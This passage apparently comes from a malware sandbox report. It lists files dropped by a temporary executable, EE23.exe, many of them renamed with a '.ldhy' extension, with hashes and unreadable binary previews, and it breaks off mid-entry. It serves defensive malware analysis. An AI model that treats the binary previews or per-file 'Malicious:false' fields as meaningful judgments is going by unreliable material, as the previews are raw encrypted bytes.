                                                                                                                                                                                                                                                              Preview:NVWZA.5..P1.2....6.....3v.........By]..$G{!Wv.<da.Q....W...x.C7Pv....Q....g.aPZ.@....P%.p.u.........z...........o...<{...[.2.J`...[Se.....d.f.......o..r...O)...1......"Hy.......t#..C..c..=*<..].B.".wq.Lw...O..tCT%.;&.....V... .....z$....u. [...`h|...F......XpW..Y=.T.........4....9.T "... ..S.. {..?C..nOR2.l.....L..J..J.m......s.g..}.......<.}l.O...A..7..X...ho..$|..C?.7.."j.vY..A|vK.u.g..*^X.......,.73.A..&...e-..JSA_SN.Ix.^.....<....$.y}.;....z.L.Ef?5........O..y8.B.?.Q.{.r.5..z~.......c?_[.7r.+;....V.F.$.`.p.....ML.Z.#.J'.l..U....qk...S..C.<[.....z......A......RHB.M......!."..m.W8.6h.. 1...VC._...tP.]s..x%;._tT...e.W|...h=W...........r&.. G....B...Jq7.../>*.YE.U8.../.L....iC.1.....g..W.-....V@..@.:L.i..5l........s...h.r...TKa.S......f..E0.0....d~..........|......#A`-#a!j...?.m.8.....M....w..F...}.l.\@.Z.Q.O$m.K.....?....H.m-.yO.S%1....V.)..W.s.o.<...w.......rE~8.M.`..P8...m..?..H...~.@.RQ.Ev0..<+....?.}.....M.a1...S#D..<.(L..M..H..[

                                                                                                                                                                                                                                                              C:\Users\user\Documents\NVWZAPQSQL.xlsx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8410002070116915
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:FlZo7vsKysciCToDIrQV2zpFfNlOotV8nnCEfrG2LhsbD:FlZo7vsKZ0KqQV+pFfNlMC0rLVmD
                                                                                                                                                                                                                                                              MD5:5F6D2AACE4FA113111A4BF317B78E5C5
                                                                                                                                                                                                                                                              SHA1:B40EC43BB68E56A7B67028A90E16997CB09FF77D
                                                                                                                                                                                                                                                              SHA-256:9802CE02272C3E2B1C2A653294C2518DEF3378511D5B95E1119F5C17E594E98B
                                                                                                                                                                                                                                                              SHA-512:423C3463BA899D7F52B57DDE376E03BDB9AB6B827B52BC1B490ADF0F7A35D052BF1ACF16EE2589D714E2FE338451ADAA5C3A299EE81AFCE693FCCA120343A243
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZA.5..P1.2....6.....3v.........By]..$G{!Wv.<da.Q....W...x.C7Pv....Q....g.aPZ.@....P%.p.u.........z...........o...<{...[.2.J`...[Se.....d.f.......o..r...O)...1......"Hy.......t#..C..c..=*<..].B.".wq.Lw...O..tCT%.;&.....V... .....z$....u. [...`h|...F......XpW..Y=.T.........4....9.T "... ..S.. {..?C..nOR2.l.....L..J..J.m......s.g..}.......<.}l.O...A..7..X...ho..$|..C?.7.."j.vY..A|vK.u.g..*^X.......,.73.A..&...e-..JSA_SN.Ix.^.....<....$.y}.;....z.L.Ef?5........O..y8.B.?.Q.{.r.5..z~.......c?_[.7r.+;....V.F.$.`.p.....ML.Z.#.J'.l..U....qk...S..C.<[.....z......A......RHB.M......!."..m.W8.6h.. 1...VC._...tP.]s..x%;._tT...e.W|...h=W...........r&.. G....B...Jq7.../>*.YE.U8.../.L....iC.1.....g..W.-....V@..@.:L.i..5l........s...h.r...TKa.S......f..E0.0....d~..........|......#A`-#a!j...?.m.8.....M....w..F...}.l.\@.Z.Q.O$m.K.....?....H.m-.yO.S%1....V.)..W.s.o.<...w.......rE~8.M.`..P8...m..?..H...~.@.RQ.Ev0..<+....?.}.....M.a1...S#D..<.(L..M..H..[

                                                                                                                                                                                                                                                              C:\Users\user\Documents\NVWZAPQSQL\EIVQSAOTAQ.pdf

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8646092191664865
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:RMAZeybl9lK1SFh0SZlSwgmCFE/BWXrfcgXBOtK57Gjg+21kSasbD:Veel981S8SZl+FUBcfcYfjaSamD
                                                                                                                                                                                                                                                              MD5:ABCC39B05CC5F9FEFCDBCE8E117C6230
                                                                                                                                                                                                                                                              SHA1:FE1CD3DF85BCDB5E6655761E8E90D71C704ECD94
                                                                                                                                                                                                                                                              SHA-256:70B423575FD7F8D78589F88E99F1CE95D9C848B1B43A329E1B5D8644345992B2
                                                                                                                                                                                                                                                              SHA-512:5EACA60AB85BE77EE29F7A8671E7E3347EA636C33EADA62C51B475E04D2C16B2120F4556A30857A4953A0E3F8B685A99320F81A24E92AB3D611626E05865E4C9
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQSm9^W..C.-......D...=jW.....BY....O......3..~.....m$......<y\}..gF...0P.G..Ts\Q..V......."...r.0.>@c.QuK......]./..qc.T....jX....c...-.!.$.K......r.I.#|._..y.w..SW..r.2................7B.S.LY.S.7.....*D,.($|b...#.~..*l.. .6.Q..H...R...$ (V.A..`....P....U....j.a..B..{'....{.../.2.I...=.4......q..u-..S...Zi.<D.]..{...+.<.>.....P...y.].L...Y:./.\....b..i.<....J...-.B*(y......w./UNg....).w...<uJ..........ix..ozZ....H.lk(.k..5.>A$E...(.Y..G.D....?#.5 5.,.l.Pu^S.1.R........C.....*.K.q...*.<.p.T...Z..-..7..J*...>......:'..Wv..!T....X.~g.(.u<.^.}P...........G.L..k?....fZ.f....l....K(.....s.1.1]ks...2..;[..8DR'..}.hT. h...7b....ri/3#.i.2o.P.mm,.`.....q.........{.....Kp..h9.yg...G..,..VB.....|.,,.^.g..1......h&d..Hs...e4..P.......%......".f.'.......="..z....n...v....x...n.....9`.a&J.l..1.\q...>.4w!....K.I...&.Y9.~<...]W6...tv).D.0..H9...k...-...Ez.\]..?P.Q....K....&...J|8)}.6..........,..,.. .P...j.<...Z.C....c...B.vU.v/.7\.m.G.IL.........Q.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\NVWZAPQSQL\EIVQSAOTAQ.pdf.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8646092191664865
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:RMAZeybl9lK1SFh0SZlSwgmCFE/BWXrfcgXBOtK57Gjg+21kSasbD:Veel981S8SZl+FUBcfcYfjaSamD
                                                                                                                                                                                                                                                              MD5:ABCC39B05CC5F9FEFCDBCE8E117C6230
                                                                                                                                                                                                                                                              SHA1:FE1CD3DF85BCDB5E6655761E8E90D71C704ECD94
                                                                                                                                                                                                                                                              SHA-256:70B423575FD7F8D78589F88E99F1CE95D9C848B1B43A329E1B5D8644345992B2
                                                                                                                                                                                                                                                              SHA-512:5EACA60AB85BE77EE29F7A8671E7E3347EA636C33EADA62C51B475E04D2C16B2120F4556A30857A4953A0E3F8B685A99320F81A24E92AB3D611626E05865E4C9
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQSm9^W..C.-......D...=jW.....BY....O......3..~.....m$......<y\}..gF...0P.G..Ts\Q..V......."...r.0.>@c.QuK......]./..qc.T....jX....c...-.!.$.K......r.I.#|._..y.w..SW..r.2................7B.S.LY.S.7.....*D,.($|b...#.~..*l.. .6.Q..H...R...$ (V.A..`....P....U....j.a..B..{'....{.../.2.I...=.4......q..u-..S...Zi.<D.]..{...+.<.>.....P...y.].L...Y:./.\....b..i.<....J...-.B*(y......w./UNg....).w...<uJ..........ix..ozZ....H.lk(.k..5.>A$E...(.Y..G.D....?#.5 5.,.l.Pu^S.1.R........C.....*.K.q...*.<.p.T...Z..-..7..J*...>......:'..Wv..!T....X.~g.(.u<.^.}P...........G.L..k?....fZ.f....l....K(.....s.1.1]ks...2..;[..8DR'..}.hT. h...7b....ri/3#.i.2o.P.mm,.`.....q.........{.....Kp..h9.yg...G..,..VB.....|.,,.^.g..1......h&d..Hs...e4..P.......%......".f.'.......="..z....n...v....x...n.....9`.a&J.l..1.\q...>.4w!....K.I...&.Y9.~<...]W6...tv).D.0..H9...k...-...Ez.\]..?P.Q....K....&...J|8)}.6..........,..,.. .P...j.<...Z.C....c...B.vU.v/.7\.m.G.IL.........Q.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\NVWZAPQSQL\NVWZAPQSQL.docx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.877170028706764
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:FxC4Ddpo6Gg201On2rG7Vle2l1U6txjWAjdmktqh+jgqT6Vm+xtsbD:FzdpoK02rGzeaXWgd7M2K9xtmD
                                                                                                                                                                                                                                                              MD5:45C78DFE1DCD8CAE4064623AE013B678
                                                                                                                                                                                                                                                              SHA1:7F516BEE67B2CC9E1782A64CD90EF354FBFAB5D9
                                                                                                                                                                                                                                                              SHA-256:64C91DBFD3AF5B4CB91D9FB2271ACE0F0594C7F533E8B7259715C382A1055B61
                                                                                                                                                                                                                                                              SHA-512:CAF8229DA05D3161287744756E6BBD87B8705FBC5B3A1832BDF9ED21A394DA83E20752022537664D915F236EEB913BE4B84546AB75FBC94521586C865CCABFDB
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZA].l..U$H`)..'>.x..|...*......P6k..B&%...}&...wR.%...................1[.g..d.aZ.!.Pwb!8.P|0?\.Y..=071$.V...\..KS..i./o...v...zz.S.B...6[.....=.~.X:+..,K.M.....`..e...a....F6......f.w.&R}...5.jn......H~3..n...R....N.......7..\...4...G........m6..~?..y".(.n=....v.hZ.k..lO.>.T..|.R.....$.a.kg|.oU.:.!..*....- ..+.....?.).(.;(.;.JL..G...@+./.[.:p. ...A.~..1.Z.*....X.s..!-.B<.t.p&cXv.z..E.Z....V.=..3.J..(...t...r..l.U.......Y?. /....1#....4..x..|.87..1z.?.....3..7..x.A..X...'..Z|.g.U..O....>....._.l.p..g.I.3..`.l........4.X..v......I.....la...o...4zo.................!..n.T.`U.j...!qeq(.D....5p.....@~.E......g....T.9^.U.6.#.......U6'...$W.n..c..f..O.~U.3.@..J.,e0....Z..=...V..U......L'.!..Cg.L]....C.}l.<4P7..$.#o....CSwXsGmPy.d..U.p|.;....]V..R.%-v.YE..]z.=L.1V...5.on..K2+B'.f.....VF.,..E..`r.x.ix.[.Q..]..c..}.C>x..m7...4......i<.....H.!@........]wYE....9..r..&..p..ylJ"."......D....=.|..h.N.u0.c..]..&......}..N.&X;.....'.^D...i.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\NVWZAPQSQL\NVWZAPQSQL.docx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.877170028706764
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:FxC4Ddpo6Gg201On2rG7Vle2l1U6txjWAjdmktqh+jgqT6Vm+xtsbD:FzdpoK02rGzeaXWgd7M2K9xtmD
                                                                                                                                                                                                                                                              MD5:45C78DFE1DCD8CAE4064623AE013B678
                                                                                                                                                                                                                                                              SHA1:7F516BEE67B2CC9E1782A64CD90EF354FBFAB5D9
                                                                                                                                                                                                                                                              SHA-256:64C91DBFD3AF5B4CB91D9FB2271ACE0F0594C7F533E8B7259715C382A1055B61
                                                                                                                                                                                                                                                              SHA-512:CAF8229DA05D3161287744756E6BBD87B8705FBC5B3A1832BDF9ED21A394DA83E20752022537664D915F236EEB913BE4B84546AB75FBC94521586C865CCABFDB
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZA].l..U$H`)..'>.x..|...*......P6k..B&%...}&...wR.%...................1[.g..d.aZ.!.Pwb!8.P|0?\.Y..=071$.V...\..KS..i./o...v...zz.S.B...6[.....=.~.X:+..,K.M.....`..e...a....F6......f.w.&R}...5.jn......H~3..n...R....N.......7..\...4...G........m6..~?..y".(.n=....v.hZ.k..lO.>.T..|.R.....$.a.kg|.oU.:.!..*....- ..+.....?.).(.;(.;.JL..G...@+./.[.:p. ...A.~..1.Z.*....X.s..!-.B<.t.p&cXv.z..E.Z....V.=..3.J..(...t...r..l.U.......Y?. /....1#....4..x..|.87..1z.?.....3..7..x.A..X...'..Z|.g.U..O....>....._.l.p..g.I.3..`.l........4.X..v......I.....la...o...4zo.................!..n.T.`U.j...!qeq(.D....5p.....@~.E......g....T.9^.U.6.#.......U6'...$W.n..c..f..O.~U.3.@..J.,e0....Z..=...V..U......L'.!..Cg.L]....C.}l.<4P7..$.#o....CSwXsGmPy.d..U.p|.;....]V..R.%-v.YE..]z.=L.1V...5.on..K2+B'.f.....VF.,..E..`r.x.ix.[.Q..]..c..}.C>x..m7...4......i<.....H.!@........]wYE....9..r..&..p..ylJ"."......D....=.|..h.N.u0.c..]..&......}..N.&X;.....'.^D...i.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\NVWZAPQSQL\PALRGUCVEH.xlsx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.872963962724248
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:/978DdiP+fOmyHFXQciAtHEYi0k1fzSBXNgGb1wXbR6iS0HKHTAEriqQTrcBDJsX:F78Dml/1QciAte08zG9gGb1YbUiS0HK6
                                                                                                                                                                                                                                                              MD5:C376B0358B9FC19B678754D12842C028
                                                                                                                                                                                                                                                              SHA1:A107ECC9C802C4A740F417E7F5F35F68143215DC
                                                                                                                                                                                                                                                              SHA-256:94C3C57730C8CC646FD9DA2577D0ED0FBA15D66263B4DD6AD8E7E0A0663BD2AC
                                                                                                                                                                                                                                                              SHA-512:C44ABE105ECB0B1B6929AFB01EC5B4F0277DF284835F64622B03B94F361453F1C0318F554B7FC07F45BB39BCDEA545C1AB261FE19F8CC1D9F4A3506845689363
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PALRG..Q....;!.T.2....`.cv...buV....[.&..M5.jk...;..t}..S..a..`.....7...a(~.....}..f.=.h...<.X.l..r......$...z1.Y..H.e`D_....S.^VJ.^..N..%)?.....4....%B.H..^..?J..A^...'...s....../.....|4.#.s..&FK.........dG!1W..T4....D.tU.LF...._.....;../CP{rQL...ajJ.....4(E.r..18jI/."(..%j.%.....E.S;...s..c...m..W._z|<....GW...7.32A...(..[f......#..ZG.;..3.5chH...K..Q....g.............`...z.L<....~v......(..6.O.@..q.....2s.....a,...R1".l..Hk....@>..pV_.>...ql.H.s..=._.PdU#..k8..b.x.q......[.....8.. ..x~..x..M.....i.!).mf..... .....]o.>T..h|...............4......."...^)..........{.\...sz|e....q....u.)h.&h}...*.....%8Eub.....R..y.....%.x.<O..G..j..^..4m......!9.6....8..i4.....a...y..&..M..?....i....+f..%~']2...B..U..P....+.fq.&>|C...p.M..6....f4.../....._._.Gw..g.b.0..4..Y.:Y.J..4.Y..Y@.......afe..]rU..nP....2..i.}.X..O.x.f0.&9x...z..{::...G..~.%..jO...S..../..........$V."..C{.O.y......o.Y.->9./...8.k./....W....h..xS_.....|:..I.G...|O1....\..H....D.j

                                                                                                                                                                                                                                                              C:\Users\user\Documents\NVWZAPQSQL\PALRGUCVEH.xlsx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.872963962724248
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:/978DdiP+fOmyHFXQciAtHEYi0k1fzSBXNgGb1wXbR6iS0HKHTAEriqQTrcBDJsX:F78Dml/1QciAte08zG9gGb1YbUiS0HK6
                                                                                                                                                                                                                                                              MD5:C376B0358B9FC19B678754D12842C028
                                                                                                                                                                                                                                                              SHA1:A107ECC9C802C4A740F417E7F5F35F68143215DC
                                                                                                                                                                                                                                                              SHA-256:94C3C57730C8CC646FD9DA2577D0ED0FBA15D66263B4DD6AD8E7E0A0663BD2AC
                                                                                                                                                                                                                                                              SHA-512:C44ABE105ECB0B1B6929AFB01EC5B4F0277DF284835F64622B03B94F361453F1C0318F554B7FC07F45BB39BCDEA545C1AB261FE19F8CC1D9F4A3506845689363
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PALRG..Q....;!.T.2....`.cv...buV....[.&..M5.jk...;..t}..S..a..`.....7...a(~.....}..f.=.h...<.X.l..r......$...z1.Y..H.e`D_....S.^VJ.^..N..%)?.....4....%B.H..^..?J..A^...'...s....../.....|4.#.s..&FK.........dG!1W..T4....D.tU.LF...._.....;../CP{rQL...ajJ.....4(E.r..18jI/."(..%j.%.....E.S;...s..c...m..W._z|<....GW...7.32A...(..[f......#..ZG.;..3.5chH...K..Q....g.............`...z.L<....~v......(..6.O.@..q.....2s.....a,...R1".l..Hk....@>..pV_.>...ql.H.s..=._.PdU#..k8..b.x.q......[.....8.. ..x~..x..M.....i.!).mf..... .....]o.>T..h|...............4......."...^)..........{.\...sz|e....q....u.)h.&h}...*.....%8Eub.....R..y.....%.x.<O..G..j..^..4m......!9.6....8..i4.....a...y..&..M..?....i....+f..%~']2...B..U..P....+.fq.&>|C...p.M..6....f4.../....._._.Gw..g.b.0..4..Y.:Y.J..4.Y..Y@.......afe..]rU..nP....2..i.}.X..O.x.f0.&9x...z..{::...G..~.%..jO...S..../..........$V."..C{.O.y......o.Y.->9./...8.k./....W....h..xS_.....|:..I.G...|O1....\..H....D.j

                                                                                                                                                                                                                                                              C:\Users\user\Documents\NVWZAPQSQL\TQDFJHPUIU.jpg

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.844448030771121
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:TGBr1kTjmoCdz98tFQRtUDw/mnKIcAhVt4jnOFo1Z0KCs32pY6/y1HaqXYsbD:C4fCXwGtUDS81t8Vf6pYp62YmD
                                                                                                                                                                                                                                                              MD5:99938E6F98E38DDFF5C7FE881FE73DED
                                                                                                                                                                                                                                                              SHA1:FF3AED309805D192D50BF3619E3B534310D11A68
                                                                                                                                                                                                                                                              SHA-256:C2B159B162A611C0991BF836D5FFB35D3E2016F7EF5A3914D0192FBFAF24CF78
                                                                                                                                                                                                                                                              SHA-512:64055A9B448DAF33BC79B328F4C7751273CE7A96BAFABA2055E40E41D950A6A17D807C8096389A04CE7107DCB590C9F83F7D5689DDCCD050382CE15A16B605F5
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:TQDFJ.n..9...yP.c....|..%....!h3..m.@&....9.."l.....$.^..).Q.5*C...9.J~....:..t.g.t....8.....O...>.W3..<.=...?.u..(..h8./...]]......u.f..^#.;'.8/d.%..$..Dx.1t).1..@..F-R.w....Q.j..=.`as}.B...eE...../@..aHR<."!C4`9.9.:..........._...xf...".B...77.)........p$N...3.,........KFgF'...E.+.....zK[.....)..BMW.:.XSR..B.D...EO....D..7#.:J>.6....Sq.N.(.`.i..#.a.6.1.H.}...!......I.$.........P..ug4eL#.......u......:.f.m....!...K.......D]!..y:V...j.wR.|...o.`HLY...!.<.[A.....=Xi.:.t.n.:...A+.....O.F...........bX..-..Ad..|..@.o]f.q.....Z..+bA......,l....7c...'.L.4...B5L..,W.........xOw..,).'.BR.7Q...t.F.2z(A.!...r...4..].)en...qK5.X1P...H."0.dPg.).?5<..n>^...p...:...-..;....|<![.B..*h.9p....aj.....5S.s4....^.......s>.....'..b..7.7....i....9.....l..Z.......|.8.....+..IX..Q.,p.|A:.........gL ..g2.O..9R...r..@..G~...".`...42.s.x...A....m|...h:......Q..Y.....;o..........Ev..6.M....A..%..x...#e.AJ4E..T...b1.,..&.w\`......X....V....V......y....}..<....

                                                                                                                                                                                                                                                              C:\Users\user\Documents\NVWZAPQSQL\TQDFJHPUIU.jpg.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.844448030771121
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:TGBr1kTjmoCdz98tFQRtUDw/mnKIcAhVt4jnOFo1Z0KCs32pY6/y1HaqXYsbD:C4fCXwGtUDS81t8Vf6pYp62YmD
                                                                                                                                                                                                                                                              MD5:99938E6F98E38DDFF5C7FE881FE73DED
                                                                                                                                                                                                                                                              SHA1:FF3AED309805D192D50BF3619E3B534310D11A68
                                                                                                                                                                                                                                                              SHA-256:C2B159B162A611C0991BF836D5FFB35D3E2016F7EF5A3914D0192FBFAF24CF78
                                                                                                                                                                                                                                                              SHA-512:64055A9B448DAF33BC79B328F4C7751273CE7A96BAFABA2055E40E41D950A6A17D807C8096389A04CE7107DCB590C9F83F7D5689DDCCD050382CE15A16B605F5
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:TQDFJ.n..9...yP.c....|..%....!h3..m.@&....9.."l.....$.^..).Q.5*C...9.J~....:..t.g.t....8.....O...>.W3..<.=...?.u..(..h8./...]]......u.f..^#.;'.8/d.%..$..Dx.1t).1..@..F-R.w....Q.j..=.`as}.B...eE...../@..aHR<."!C4`9.9.:..........._...xf...".B...77.)........p$N...3.,........KFgF'...E.+.....zK[.....)..BMW.:.XSR..B.D...EO....D..7#.:J>.6....Sq.N.(.`.i..#.a.6.1.H.}...!......I.$.........P..ug4eL#.......u......:.f.m....!...K.......D]!..y:V...j.wR.|...o.`HLY...!.<.[A.....=Xi.:.t.n.:...A+.....O.F...........bX..-..Ad..|..@.o]f.q.....Z..+bA......,l....7c...'.L.4...B5L..,W.........xOw..,).'.BR.7Q...t.F.2z(A.!...r...4..].)en...qK5.X1P...H."0.dPg.).?5<..n>^...p...:...-..;....|<![.B..*h.9p....aj.....5S.s4....^.......s>.....'..b..7.7....i....9.....l..Z.......|.8.....+..IX..Q.,p.|A:.........gL ..g2.O..9R...r..@..G~...".`...42.s.x...A....m|...h:......Q..Y.....;o..........Ev..6.M....A..%..x...#e.AJ4E..T...b1.,..&.w\`......X....V....V......y....}..<....

                                                                                                                                                                                                                                                              C:\Users\user\Documents\NVWZAPQSQL\UNKRLCVOHV.mp3

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.856684681397615
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:QtanZZQCKkudiInKHSJRzOGAnGZ7D5OtxSkChhgsussbD:bnZZIfiMKy35AnGZ7sP4hgGmD
                                                                                                                                                                                                                                                              MD5:12BA490786AA128555EDC55074CB875D
                                                                                                                                                                                                                                                              SHA1:93861E35221ADA21A70069E1CD71C8695D7A2CF9
                                                                                                                                                                                                                                                              SHA-256:151B64B01B13F5FC677F4525EAC5CDBAF6036F659BEAD12EE5E38760DE4B72C2
                                                                                                                                                                                                                                                              SHA-512:8AC7D33C4AFF106D75F97FF26CCC11891C109A7DC85634027CF277C3646E6F4A0848E669195F2C5605398E7BEF60426B2379CF8A5FD4D8FB64D52383BE79ACDB
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:UNKRL.....goM... [(i..G.......j!...u7.m*..$.l..u.....(...P.SOL..'..nGRi.$C......XnIU...=)h... Q...-.p.I....T.3.5...0..5.......z..15.....y..S5?.!.U..A.5..-..$4.c..O.j..U4..XI....t:.d.Q...XEs.........5..I..;.l.QzOF....H$w......B.5~(..{^...7..z.$..b......m.~..g.s.>.@=....u.%....vO...Z........aM:..S.....0..........."o.R|.aM....J..E<p....O.S...i.....^..!...5......'/.x.P-.[.....F./........D../+Si.B.9.@.!.."./.]...f...:....R..t6*;[.=p.....eiG!.."...6.....4.6Z...G(U....."X...U..R2......'d&........<.......Y......Z.......oV.Kg..!.K...k.1z...*.....n5....[.....t.....a...iA.(...+-Z...,..4`.l&$@%....=.Zs[)...H.`.E.z..).....Sf.Vl....8.^QHT d.oC....]EKrU.S...t.....Q.....M3X.u0JC....M..0.g.0.3....-9/....*.ML......G-..,..e.r.v.2../g......\n.....0#j.2...x.1"..{.P._i/.fN.....Lz...XfI.W?....B..$.../C.G.3ej..... ..8.C..lmQ.`.....n..n...Eb.@.....sc........B-..-............._.Q+X..]...Yu..}i....x~A....~......d3}}hc@@v.W...>...4..Kl.P.~..i..@....H;N.KoE.\.Yl..7{".Sq.P..\.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\NVWZAPQSQL\UNKRLCVOHV.mp3.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.856684681397615
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:QtanZZQCKkudiInKHSJRzOGAnGZ7D5OtxSkChhgsussbD:bnZZIfiMKy35AnGZ7sP4hgGmD
                                                                                                                                                                                                                                                              MD5:12BA490786AA128555EDC55074CB875D
                                                                                                                                                                                                                                                              SHA1:93861E35221ADA21A70069E1CD71C8695D7A2CF9
                                                                                                                                                                                                                                                              SHA-256:151B64B01B13F5FC677F4525EAC5CDBAF6036F659BEAD12EE5E38760DE4B72C2
                                                                                                                                                                                                                                                              SHA-512:8AC7D33C4AFF106D75F97FF26CCC11891C109A7DC85634027CF277C3646E6F4A0848E669195F2C5605398E7BEF60426B2379CF8A5FD4D8FB64D52383BE79ACDB
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:UNKRL.....goM... [(i..G.......j!...u7.m*..$.l..u.....(...P.SOL..'..nGRi.$C......XnIU...=)h... Q...-.p.I....T.3.5...0..5.......z..15.....y..S5?.!.U..A.5..-..$4.c..O.j..U4..XI....t:.d.Q...XEs.........5..I..;.l.QzOF....H$w......B.5~(..{^...7..z.$..b......m.~..g.s.>.@=....u.%....vO...Z........aM:..S.....0..........."o.R|.aM....J..E<p....O.S...i.....^..!...5......'/.x.P-.[.....F./........D../+Si.B.9.@.!.."./.]...f...:....R..t6*;[.=p.....eiG!.."...6.....4.6Z...G(U....."X...U..R2......'d&........<.......Y......Z.......oV.Kg..!.K...k.1z...*.....n5....[.....t.....a...iA.(...+-Z...,..4`.l&$@%....=.Zs[)...H.`.E.z..).....Sf.Vl....8.^QHT d.oC....]EKrU.S...t.....Q.....M3X.u0JC....M..0.g.0.3....-9/....*.ML......G-..,..e.r.v.2../g......\n.....0#j.2...x.1"..{.P._i/.fN.....Lz...XfI.W?....B..$.../C.G.3ej..... ..8.C..lmQ.`.....n..n...Eb.@.....sc........B-..-............._.Q+X..]...Yu..}i....x~A....~......d3}}hc@@v.W...>...4..Kl.P.~..i..@....H;N.KoE.\.Yl..7{".Sq.P..\.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\NVWZAPQSQL\ZIPXYXWIOY.png

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.847476315876294
                                                                                                                                                                                                                                                              Encrypted:false
